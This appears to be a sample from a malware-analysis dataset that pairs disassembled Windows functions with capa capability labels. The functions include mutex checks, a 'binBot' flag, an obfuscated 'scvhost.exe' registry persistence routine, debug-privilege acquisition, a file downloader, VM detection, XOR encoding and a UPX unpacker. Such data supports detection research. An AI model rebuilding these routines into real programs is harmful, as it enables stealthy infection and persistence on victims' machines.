joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1caf130
Capabilities:
Enumerate files on windows
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
push ebx
push esi
xor ebx, ebx
push 0x105
lea eax, [ebp - 0x34f]
push ebx
push eax
mov byte [ebp - 0x350], bl
call sub.MSVCRT.dll_memset
push 0x103
lea ecx, [ebp - 0x107]
push ebx
push ecx
mov byte [ebp - 0x108], bl
call sub.MSVCRT.dll_memset
mov esi, dword [ebp + 8]
add esp, 0x18
push esi
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x350]
push 0x1cb2fe0
push eax
call fcn.01caedf0
add esp, 8
push esi
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x1caf1c0
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push ebx
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x21c]
push eax
push esi
push str._s_s
lea ecx, [ebp - 0x108]
push 0x103
push ecx
call sub.MSVCRT.dll__snprintf
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push edi
push ebx
push edx
lea eax, [ebp - 0x108]
push eax
call fcn.01caefe0
mov edx, dword [ebp - 4]
add esp, 0x24
lea ecx, [ebp - 0x248]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1caf29a
lea ebx, [ebx]
push 8
lea eax, [ebp - 0x21c]
push 0x1cb2fc0
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
je 0x1caf285
lea ecx, [ebp - 0x21c]
push 0x1cb2fd0
push ecx
call sub.MSVCRT.dll_strstr
add esp, 8
test eax, eax
jne 0x1caf285
lea edx, [ebp - 0x21c]
push edx
push esi
push str._s_s
lea eax, [ebp - 0x108]
push 0x103
push eax
call sub.MSVCRT.dll__snprintf
mov ecx, dword [ebp + 0xc]
push edi
push ebx
push ecx
lea edx, [ebp - 0x108]
push edx
call fcn.01caefe0
add esp, 0x24
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x248]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1caf220
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1caf2b0
Capabilities:
Get storage device properties

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push edi
xor ebx, ebx
push 0x104
mov dword [ebp - 4], ebx
call fcn.01ca3810
mov edi, eax
add esp, 4
cmp edi, ebx
jne 0x1caf2db
pop edi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
push esi
push ecx
push str.._c:
push edi
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push ebx
push ebx
push 3
push ebx
push 3
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x1caf375
push 0x3ff
lea edx, [ebp - 0x413]
push ebx
push edx
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
mov byte [ebp - 0x414], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
lea eax, [ebp - 8]
push eax
push 0x400
lea ecx, [ebp - 0x414]
push ecx
push 0xc
lea edx, [ebp - 0x14]
push edx
push 0x2d1400
push esi
mov dword [ebp - 0x410], 0x400
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
je 0x1caf375
cmp dword [ebp - 0x3f8], 7
jne 0x1caf375
mov dword [ebp - 4], 1
push edi
call fcn.01ca37f0
mov eax, dword [ebp - 4]
add esp, 4
pop esi
pop edi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1caf9e0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
push 0x1ff
lea eax, [ebp - 0x203]
push 0
push eax
mov byte [ebp - 0x204], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x204]
xor eax, eax
push ecx
push 0x1ff
mov byte [ebp - 4], 0
mov word [ebp - 3], ax
mov byte [ebp - 1], al
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x1cafa8d
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea esi, [ebp - 0x204]
lea ebx, [ebx]
lea edx, [ebp - 4]
push 4
push edx
call fcn.01ca24e0
mov al, byte [esi]
add esp, 8
push 0x1cb3040
lea ecx, [ebp - 4]
push ecx
mov byte [ebp - 4], al
call edi
lea edx, [ebp - 4]
push edx
call fcn.01caf2b0
add esp, 4
test eax, eax
je 0x1cafa80
lea eax, [ebp - 4]
push eax
call fcn.01caf430
add esp, 4
test eax, eax
je 0x1cafa80
inc ebx
nop
mov cl, byte [esi]
inc esi
test cl, cl
jne 0x1cafa80
cmp byte [esi], cl
jne 0x1cafa40
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1cb0910
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
push edi
push 0x103
lea eax, [ebp - 0x20f]
push 0
push eax
mov byte [ebp - 0x210], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.01caa5d0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x103
lea ecx, [ebp - 0x10b]
push 0
push ecx
mov dword [0x1cea70c], eax
mov byte [ebp - 0x10c], 0
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
push 0x104
lea edx, [ebp - 0x10c]
push edx
push eax
mov byte [ebp - 8], 0
mov dword [ebp - 7], eax
mov word [ebp - 3], ax
mov byte [ebp - 1], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1cb09cf
push 3
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.01ca2440
lea edx, [ebp - 8]
push edx
call fcn.01caf2b0
add esp, 4
test eax, eax
je 0x1cb09cf
push 5
push 0
push 0
lea eax, [ebp - 8]
push eax
push str.OPEN
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [0x1ceb500], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call main
add esp, 4
call fcn.01ca3870
cdq
mov ecx, 0xa
idiv ecx
mov esi, edx
inc esi
call fcn.01ca3870
cdq
mov ecx, 0x3e8
idiv ecx
add edx, 0x1f4
imul edx, esi
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.FvLQ49I
push 0
push 0x1f0001
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0x1cb0a38
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 2
je 0x1cb0a38
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.30e4ga1
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.30e4ga1
call fcn.01ca1e60
push eax
push str._08x
lea edx, [ebp - 0x210]
push 0x103
push edx
call sub.MSVCRT.dll__snprintf
lea eax, [ebp - 0x210]
push eax
call fcn.01ca4d00
add esp, 0x1c
test eax, eax
jne 0x1cb0a7f
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.binBot
call fcn.01ca73e0
add esp, 8
cmp eax, 1
jne 0x1cb0a9e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push str.running
push str.binBot
call fcn.01ca7330
push 0
call fcn.01cab300
add esp, 0xc
mov esi, eax
call fcn.01ca6850
push 0x208
push 0x1ceafb0
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push edi
push 0x1cb0f92
push 0x1ceada0
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
add esp, 0x10
push 0
push 0
push 0x104
push 0x1ceac50
push 0xffffffffffffffff
push 0x1ceada0
push 0
push 0
call edi
push 0x208
push esi
push 0x1ceb1b8
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x104
push 0x1ceb3e0
push 0xffffffffffffffff
push esi
push 0
push 0
call edi
xor eax, eax
mov ecx, 0x14c
cmp word [0x7ffe002c], cx
setne al
mov dword [0x1ceb504], eax
test eax, eax
je 0x1cb0b5f
call fcn.01caa990
push 0x9c4
mov dword [0x1ceb508], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0x1cb6d28
call fcn.01ca5ce0
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x30010080
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xc000]
push edi
jmp 0x3001009a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x300100a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x30010090
mov eax, 1
add ebx, ebx
jne 0x300100b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x300100a8
jne 0x300100c4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x300100a8
xor ecx, ecx
sub eax, 3
jb 0x300100d8
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x3001014a
mov ebp, eax
add ebx, ebx
jne 0x300100e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x300100f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x30010114
inc ecx
add ebx, ebx
jne 0x30010100
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x300100f5
jne 0x30010111
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x300100f5
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x30010134
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x30010125
jmp 0x30010096
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x30010134
add edi, ecx
jmp 0x30010096
pop esi
mov edi, esi
mov ecx, 0x101
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x30010152
cmp byte [edi], 2
jne 0x30010152
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x30010157
lea edi, [esi + 0xe000]
mov eax, dword [edi]
or eax, eax
je 0x300101cf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x10e30]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x10ef4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x30010184
mov ecx, edi
jns 0x300101b3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x10efc]
or eax, eax
je 0x300101c9
mov dword [ebx], eax
add ebx, 4
jmp 0x300101a1
call dword [esi + 0x10ef8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x30010200
cmp al, 0xef
ja 0x300101f3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x300101d5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x300101e2
mov ebp, dword [esi + 0x10f00]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x30010234
sub esp, 0xffffff80
jmp 0x30005109
Function at 0x401069
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48d030]
jne 0x401073
repz ret
jmp fcn.00401e41

Function at 0x408aeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00404d3a
and dword [ebp - 4], 0
cmp dword [0x48fb68], 0
mov ebx, eax
jne 0x408b9c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x408c4d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x408c4d
push eax
call fcn.00404cc8
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x48fb68], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x48fb6c], eax
call esi
push eax
call fcn.00404cc8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x48fb70], eax
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x48fb78], eax
test eax, eax
je 0x408b9c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404cc8
pop ecx
mov dword [0x48fb74], eax
mov eax, dword [0x48fb74]
cmp eax, ebx
je 0x408bf4
cmp dword [0x48fb78], ebx
je 0x408bf4
push eax
call fcn.00404d43
push dword [0x48fb78]
mov esi, eax
call fcn.00404d43
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x408bf4
test edi, edi
je 0x408bf4
call esi
test eax, eax
je 0x408beb
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x408beb
test byte [ebp - 0xc], 1
jne 0x408bf4
or dword [ebp + 0x10], 0x200000
jmp 0x408c2d
mov eax, dword [0x48fb6c]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x408c2d
mov eax, dword [0x48fb70]
cmp eax, ebx
je 0x408c2d
push eax
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c2d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x48fb68]
call fcn.00404d43
pop ecx
test eax, eax
je 0x408c4d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x408c4f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40af50
Capabilities:
Set console window title

Disassembly:
sub esp, 0x820
mov eax, dword [0x48d030]
xor eax, esp
mov dword [esp + 0x81c], eax
mov eax, dword [0x2c6d55c]
push ebx
mov ebx, dword [0x2c6d280]
push esi
mov esi, dword [0x48df60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40af91
push str.Kapoza_yodiralozor
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2c6d55c]
mov dword [0x48fd0c], esi
cmp eax, 0x114e
jne 0x40afbb
lea eax, [esp + 0xc]
push eax
push str.Gijetuhe_batawuwafadis_fomikayemes_zeruru
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov eax, dword [0x2c6d55c]
cmp eax, 0x2f
jne 0x40afdb
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
push 0
lea ecx, [esp + 0x2c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
call fcn.0040ae50
mov ecx, dword [esp + 0x828]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401069
add esp, 0x820
ret
Function at 0x15832a3
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x158889d
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x15e13ea
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret
Function at 0x1608780
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x162b77f
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x210574f
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x2106b3a
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x21097a3
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x215a598
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret

Function at 0x218873b
Capabilities:
Execute syscall

Disassembly:
dec esp
mov edx, ecx
syscall
ret
Function at 0x400b91
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push dword [ebp + 8]
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcpy
cmp dword [ebp + 0xc], 0
pop ecx
pop ecx
je 0x400bd4
lea eax, [ebp - 0x258]
push 0x4006fc
push eax
call sub.MSVCRT.dll_strcat
push dword [ebp + 0xc]
lea eax, [ebp - 0x258]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
leave
ret

Function at 0x400be3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp + 8], edi
mov esi, dword [ebp + 8]
mov eax, 2
mov ecx, dword [ebp + 0xc]
xor dword [esi], eax
inc esi
loop 0x400bf9
push edi
call sub.MSVCRT.dll_strlen
push eax
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
push edi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strcpy
add esp, 0x18
pop edi
pop esi
pop ebp
ret

Function at 0x400c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp + 8], edi
mov esi, dword [ebp + 8]
mov eax, 1
mov ecx, dword [ebp + 0xc]
xor dword [esi], eax
inc esi
loop 0x400c35
push edi
call sub.MSVCRT.dll_strlen
push eax
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
push edi
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strcpy
add esp, 0x18
pop edi
pop esi
pop ebp
ret

Function at 0x400c5b
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 4]
push ecx
push 0x28
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x400cab
lea eax, [ebp - 0x10]
push esi
push eax
xor esi, esi
push 0x400700
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push esi
push esi
lea eax, [ebp - 0x14]
push esi
push eax
push esi
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
pop esi
leave
ret
Function at 0x400dd7
Capabilities:
Delete file
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.004022d0
push esi
xor esi, esi
push esi
push esi
push esi
push esi
push 0x400778
call dword [fcn.0040249c]
cmp eax, esi
mov dword [ebp - 8], eax
je 0x400eb8
push dword [ebp + 8]
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
push 0x84000000
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 8]
call dword [fcn.00402498]
cmp eax, esi
mov dword [ebp + 8], eax
je 0x400eaf
push ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
push 0x80
push 1
push esi
push 1
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x400ea5
push edi
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x1008]
push 0x1000
push eax
push dword [ebp + 8]
call dword [fcn.00402494]
mov edi, eax
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x1008]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [ebp + 0xc], eax
xor eax, eax
cmp eax, dword [ebp - 4]
sbb eax, eax
neg eax
test edi, eax
jne 0x400e54
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
push dword [ebp + 8]
call dword [fcn.00402490]
pop ebx
push dword [ebp - 8]
call dword [fcn.00402490]
mov eax, dword [ebp + 0xc]
pop esi
leave
ret
Function at 0x400fe9
Capabilities:
Check mutex on windows
Create process on windows
Create thread
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push esi
xor esi, esi
push 0x400884
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401016
xor eax, eax
jmp 0x401124
push ebx
push edi
lea eax, [ebp - 0x10c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x210]
push 0x400860
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x210]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WinExec]
push eax
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, 0xc8
push ebx
call edi
lea eax, [ebp - 0x10c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x210]
push 0x40083c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [ebp - 0x210]
push 0
push eax
call esi
push ebx
call edi
push 0
push 0x400824
call esi
push ebx
call edi
push 0
push 0x400804
call esi
push ebx
call edi
push 0
push 0x4007d4
call esi
push ebx
call edi
call fcn.00400c5b
call fcn.00400d05
call fcn.004013cd
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
xor edi, edi
push edi
push edi
push edi
push 0x400fa1
push edi
push edi
call esi
lea eax, [ebp - 8]
push eax
push edi
push edi
push 0x4012e2
push edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x3e8
push eax
call ebx
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x401164
push edi
push edi
call esi
push 0x3e8
push eax
call ebx
call fcn.004014dc
pop edi
xor eax, eax
pop ebx
pop esi
leave
ret
Function at 0x4013cd
Capabilities:
Contain obfuscated stackstrings
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
push esi
push edi
push 0xc
mov esi, 0x4008e4
pop ecx
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
and byte [ebp - 1], 0
lea eax, [ebp - 0x148]
movsw word es:[edi], word [esi]
mov esi, 0x104
mov byte [ebp - 0xc], 0x73
push esi
push 0
push eax
mov byte [ebp - 0xb], 0x63
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x68
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x73
mov byte [ebp - 6], 0x74
mov byte [ebp - 5], 0x2e
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0x78
mov byte [ebp - 2], 0x65
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x24c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0x44]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x44]
push eax
call fcn.00400be3
add esp, 0xc
lea eax, [ebp - 0x148]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x148]
push 0x4008e0
push eax
call sub.MSVCRT.dll_strcat
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x148]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
pop edi
pop esi
test eax, eax
jne 0x4014d1
lea eax, [ebp - 0x148]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x148]
push eax
push 1
push 0
push 0x4008d8
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret
Function at 0x401caf
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x401cf9
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x402174
Capabilities:
Delete file
Get common file path

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, 0x104
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
add esp, 0xc
push edi
push esi
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x400954
push esi
call ebx
push 0x400934
push esi
call ebx
push 0x400918
push esi
call dword [sym.imp.MSVCRT.dll_fopen]
pop ecx
test eax, eax
pop ecx
je 0x4021e8
push eax
call dword [sym.imp.MSVCRT.dll_fclose]
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push edi
push esi
call ebp
push 0x400954
push esi
call ebx
jmp 0x4021fc
push edi
push 0
push esi
call sub.MSVCRT.dll_memset
add esp, 0xc
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x402201
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x4023e1
call fcn.00402350
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
mov eax, dword [ebp + 0xc]
xor ebx, ebx
pop ecx
cmp eax, ebx
jne 0x40222c
mov eax, dword [sym.imp.MSVCP60.dll_char_const__private:_static_char_const____cdecl_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Nullstr_void_::_2::_C]
push eax
push esi
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push ebx
push 0x80
push 3
push ebx
push 3
push 0x80000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
xor edi, edi
mov dword [ebp - 0x14], ebx
push ebx
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x14]
push ebx
push eax
lea eax, [ebp - 0xe]
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp word [ebp - 0xe], 0x5a4d
je 0x402282
inc edi
cmp edi, 0x100
jb 0x402253
jmp 0x402284
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 4], 0xffffffff
push 1
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_private:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::_Tidy_bool_]
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret